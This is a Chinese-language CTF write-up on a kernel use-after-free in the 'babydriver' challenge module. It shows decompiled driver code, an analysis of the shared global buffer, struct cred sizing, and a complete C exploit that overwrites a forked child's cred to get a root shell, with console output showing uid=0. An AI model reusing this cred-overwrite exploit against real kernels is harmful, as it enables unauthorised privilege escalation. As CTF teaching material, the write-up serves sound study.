- 这是一道kernel uaf的题目,记录一下一般拿到kernel pwn题应该如何操作,首先拿到题目解压后有3个文件
- boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
- bzImage: kernel binary
- rootfs.cpio: 文件系统映像
- 所以先新建一个文件夹,然后解压文件系统映像
mkdir fs
cd fs
cp ../rootfs.cpio ./
cpio -idmv < rootfs.cpio
- 然后查看init文件的内容,可以知道babydriver.ko就是我们需要分析的漏洞驱动,将它用ida打开
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
- 分析babydrive.ko
//释放babydev_struct
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}
//申请一块大小为 0x40 字节的空间,地址存储在全局变量babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
//定义了 0x10001 的命令,可以释放全局变量 babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 65537 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}
//从 buffer 拷贝到全局变量中
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}
//从全局变量拷贝到 buffer 中
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx
_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}
由于baby_struct.device是全局的,因此只能存在一个,所以当我们open 2个设备的时候,第二次open的会覆盖第一次的,我们再释放第一次打开的,这时候第二次打开的设备也会被释放,就存在UAF,然后通过ioctl改变大小,使得和cred结构大小一样再fork一个进程,它的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,达到getshell。
但是我们必须要知道cred结构体的大小才能进一步控制cred
方法一是查看源码,去掉debug部分的成员
struct cred {
atomic_t usage; 0x4
#ifdef CONFIG_DEBUG_CREDENTIALS debug选项去掉
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */ 0x4
kgid_t gid; /* real GID of the task */ 0x4
kuid_t suid; /* saved UID of the task */ 0x4
kgid_t sgid; /* saved GID of the task */ 0x4
kuid_t euid; /* effective UID of the task */ 0x4
kgid_t egid; /* effective GID of the task */ 0x4
kuid_t fsuid; /* UID for VFS ops */ 0x4
kgid_t fsgid; /* GID for VFS ops */ 0x4
unsigned securebits; /* SUID-less security management */ 0x4
kernel_cap_t cap_inheritable; /* caps our children can inherit */ 0x8
kernel_cap_t cap_permitted; /* caps we're permitted */ 0x8
kernel_cap_t cap_effective; /* caps we can actually use */ 0x8
kernel_cap_t cap_bset; /* capability bounding set */ 0x8
kernel_cap_t cap_ambient; /* Ambient capability set */ 0x8
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested 0x8
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */ 0x8
struct key *process_keyring; /* keyring private to this process */ 0x8
struct key *thread_keyring; /* keyring private to this thread */ 0x8
struct key *request_key_auth; /* assumed request_key authority */ 0x8
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */ 0x8
#endif
struct user_struct *user; /* real user ID subscription */ 0x8
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */ 0x8
struct group_info *group_info; /* supplementary groups for euid/fsgid */ 0x8
struct rcu_head rcu; /* RCU deletion hook */ 0x10
};
- 方法二是自己写个简单modules然后printf一下sizeof(struct cred)就能知道了
//简单modules
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("Dual BSD/GPL");
struct cred c1;
static int hello_init(void)
{
printk("<1> Hello world!\n");
printk("size of cred : %d \n",sizeof(c1));
return 0;
}
static void hello_exit(void)
{
printk("<1> Bye, cruel world\n");
}
module_init(hello_init);
module_exit(hello_exit);
利用思路
open两次设备
利用babyioctl将结构体改为0xa8 sizeof(struct cred)
释放第一个设备,造成UAF
fork一个子进程来控制cred结构体
将结构体的uid置为0
编写exp:
//gcc exp.c -static -o exp
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
int fd1 = open("/dev/babydev",2);
int fd2 = open("/dev/babydev",2);
ioctl(fd1,65537,0xa8);
close(fd1);
int pid = fork();
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if (pid == 0)
{
int buf[9]={0};
write(fd2,buf,28);
system("/bin/sh");
}
else
{
wait(NULL);
}
return 0;
}
- 静态编译exp,并将编译好的exp放入解压的fs目录下,重新打包fs系统
find . | cpio -o --format=newc > rootfs.cpio
- 启动系统,运行exp
./boot.sh
/ $ ./exp
[ 4.998456] device open
[ 4.999472] device open
[ 5.000418] alloc done
[ 5.001826] device release
/ # id
uid=0(root) gid=0(root) groups=1000(ctf)
参考文章: